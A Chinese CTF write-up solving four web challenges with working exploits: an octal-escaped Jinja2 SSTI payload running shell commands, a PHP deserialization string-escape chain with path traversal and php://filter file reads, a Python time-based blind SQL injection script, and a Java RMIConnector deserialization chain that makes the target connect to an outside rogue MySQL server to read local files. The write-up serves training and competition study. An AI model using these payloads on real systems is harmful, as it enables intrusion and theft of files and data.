就做出来四道web题,总体质量还行,tcl,pwn神太猛了
没有人比我更懂py 直接使用8进制绕过字符
1 {{()["\137\137\143\154\141\163\163\137\137" ]["\137\137\142\141\163\145\137\137" ]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137" ]()[132 ]["\137\137\151\156\151\164\137\137" ]["\137\137\147\154\157\142\141\154\163\137\137" ]["\137\137\142\165\151\154\164\151\156\163\137\137" ]["\145\166\141\154" ]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\154\163\47\51\56\162\145\141\144\50\51" )}}
最后读flag即可
1 {{()["\137\137\143\154\141\163\163\137\137" ]["\137\137\142\141\163\145\137\137" ]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137" ]()[132 ]["\137\137\151\156\151\164\137\137" ]["\137\137\147\154\157\142\141\154\163\137\137" ]["\137\137\142\165\151\154\164\151\156\163\137\137" ]["\145\166\141\154" ]("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\160\157\160\145\156\50\47\143\141\164\40\57\146\154\141\147\47\51\56\162\145\141\144\50\51" )}}
ezus 可以看到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include 'tm.php' ; if (preg_match ('/tm\.php\/*$/i' , $_SERVER ['PHP_SELF' ])){ exit ("no way!" ); } if (isset ($_GET ['source' ])){ $path = basename ($_SERVER ['PHP_SELF' ]); if (!preg_match ('/tm.php$/' , $path ) && !preg_match ('/index.php$/' , $path )) { exit ("nonono!" ); } highlight_file ($path ); exit (); } ?>
直接百度就可以发现是 :[Zer0pts2020]basename函数漏洞 只需保证tm.php后面是非ascii值即可
/index.php/tm.php/%aa?source
/index.php/tm.php/%bb?source
/index.php/tm.php/%cc?source
然后拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class UserAccount { protected $username ; protected $password ; public function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } } function object_sleep ($str ) { $ob = str_replace (chr (0 ).'*' .chr (0 ), '@0@0@0@' , $str ); return $ob ; } function object_weakup ($ob ) { $r = str_replace ('@0@0@0@' , chr (0 ).'*' .chr (0 ), $ob ); return $r ; } class order { public $f ; public $hint ; public function __construct ($hint , $f ) { $this ->f = $f ; $this ->hint = $hint ; } public function __wakeup ( ) { if ($this ->hint != "pass" || $this ->f != "pass" ) { $this ->hint = "pass" ; $this ->f = "pass" ; } } public function __destruct ( ) { if (filter_var ($this ->hint, FILTER_VALIDATE_URL)) { $r = parse_url ($this ->hint); if (!empty ($this ->f)) { if (strpos ($this ->f, "try" ) !== false && strpos ($this ->f, "pass" ) !== false ) { @include ($this ->f . '.php' ); } else { die ("try again!" ); } if (preg_match ('/prankhub$/' , $r ['host' ])) { @$out = file_get_contents ($this ->hint); echo "<br/>" .$out ; } else { die ("<br/>error" ); } } else { die ("try it!" ); } } else { echo "Invalid URL" ; } } } $username = $_POST ['username' ];$password = $_POST ['password' ];$user = serialize (new UserAccount ($username , $password ));unserialize (object_weakup (object_sleep ($user )))?>
发现很明显的反序列化字符串逃逸,并且php版本为5.6.9,可以+1绕过wakeup
后面的order类也是原题改的,直接用a://prankhub/../../../../../../../etc/passwd
就可以任意文件读取了 然后发现f这个字符串要存在try和pass就可以文件包含php了,伪造一个目录名为trypass,直接伪协议读取hint,即:
1 2 $a = new order ("a://prankhub/../../../../../../../etc/passwd" ,"php://filter/convert.base64-encode/resource=./trypass/../hint" );echo serialize ($a );
前面是逃逸,需要逃逸";s:11:"%00*%00password";s:189:"
28个字符,那么$username = "@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";
即可,最后的exp:
1 username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:61:"php://filter/convert.base64-encode/resource=./trypass/../hint";s:4:"hint";s:52:"a://prankhub/../../../../../../../f1111444449999.txt";}
popsql 发现没有过滤or,然后空格用/**/
代替,发现比较的很多方法都被ban了,用不了<
、>
、=
、regexp等等,最后发现用strcmp
即可,如果匹配到相同的即为0,小于为-1,大于为1
然后就可以配合if来进行盲注了,很明显匹配到即为0
发现right没有被ban,然后使用ord转换为ascii码,使用benchmark(10000000,sha(1))
延时进行盲注 最后发现无列名的union被过滤了,跑一下sys.statement_analysis
的query记录,发现列名为f1aG123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsimport timeurl = "http://172.51.3.196/" flag = "" for i in range (1 ,500 ): for j in range (32 ,127 ): payload = "' or if((select strcmp(ord(right((select group_concat(f1aG123) from Fl49ish3re),{})),{})),1,benchmark(10000000,sha(1))) or '1" .format (i,j) data = { "username" :"admin" , "password" :payload.replace(' ' , '/**/' ) } t1 = time.time() r = requests.post(url,data=data) t2 = time.time() if (t2-t1>2 ): flag = flag+chr (j) print (flag[::-1 ]) break
得到flag
NoRCE 可以看到存在反序列化,然后需要hashcode一样 考烂了的点,前面的字符ascii -1,后面的字符+31即可,由于是secret为固定的值rO0ABX
,设置key为rO0AAw
即可
然后可以看到有个toString
可以直接到getConnect
然后触发connect
connect就是jdbc的连接,那么很明显可以用BadAttributeValueExpException来触发toString
但发现反序列化重构了resolveClass,过滤掉了com.example.demo.bean.Connect
我们还可以用RMIConnector,正好也可以触发connect方法,触发二次反序列化 最后发现/flag读不到flag,这里注意到MySQL Fake Server的一段话:有关JDBC下的allowUrlInLocalInfile
选项可以看下这篇:MySQL JDBC Connector的allowUrlInLocalInfile选项利用 发现如果allowUrlInLocalInfile为true就可以用file协议,最后的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import com.example.demo.bean.Connect;import com.example.demo.bean.MyBean;import com.example.demo.utils.MyObjectInputStream;import com.example.demo.utils.tools;import javax.management.BadAttributeValueExpException;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;public class exp { public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } public static void main (String[] args) throws Exception{ Connect url = new Connect ("jdbc:mysql://10.91.3.6:3306/test?user=fileread_file:///flagyoucatfindit&allowUrlInLocalInfile=true" ,"" ,"" ); MyBean mybean = new MyBean (1 ,2 ,url); BadAttributeValueExpException poc1 = new BadAttributeValueExpException (1 ); setFieldValue(poc1,"val" ,mybean); ByteArrayOutputStream tser = new ByteArrayOutputStream (); ObjectOutputStream toser = new ObjectOutputStream (tser); toser.writeObject(poc1); toser.close(); String exp= Base64.getEncoder().encodeToString(tser.toByteArray()); JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); setFieldValue(jmxServiceURL, "urlPath" , "/stub/" +exp); RMIConnector rmiConnector = new RMIConnector (jmxServiceURL, null ); MyBean mybean2= new MyBean (1 ,2 ,rmiConnector); BadAttributeValueExpException poc2 = new BadAttributeValueExpException (1 ); setFieldValue(poc2,"val" ,mybean2); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeUTF("rO0AAw" ); oos.writeObject(poc2); oos.close(); String poc = new String (Base64.getEncoder().encode(baos.toByteArray())); System.out.println(poc); byte [] bytes = tools.base64Decode(poc); InputStream inputStream = new ByteArrayInputStream (bytes); MyObjectInputStream myObjectInputStream = new MyObjectInputStream (inputStream); String secret = poc.substring(0 , 6 ); String key = myObjectInputStream.readUTF(); System.out.println(key.hashCode()); System.out.println(secret.hashCode()); } }
看一下根目录
得到flag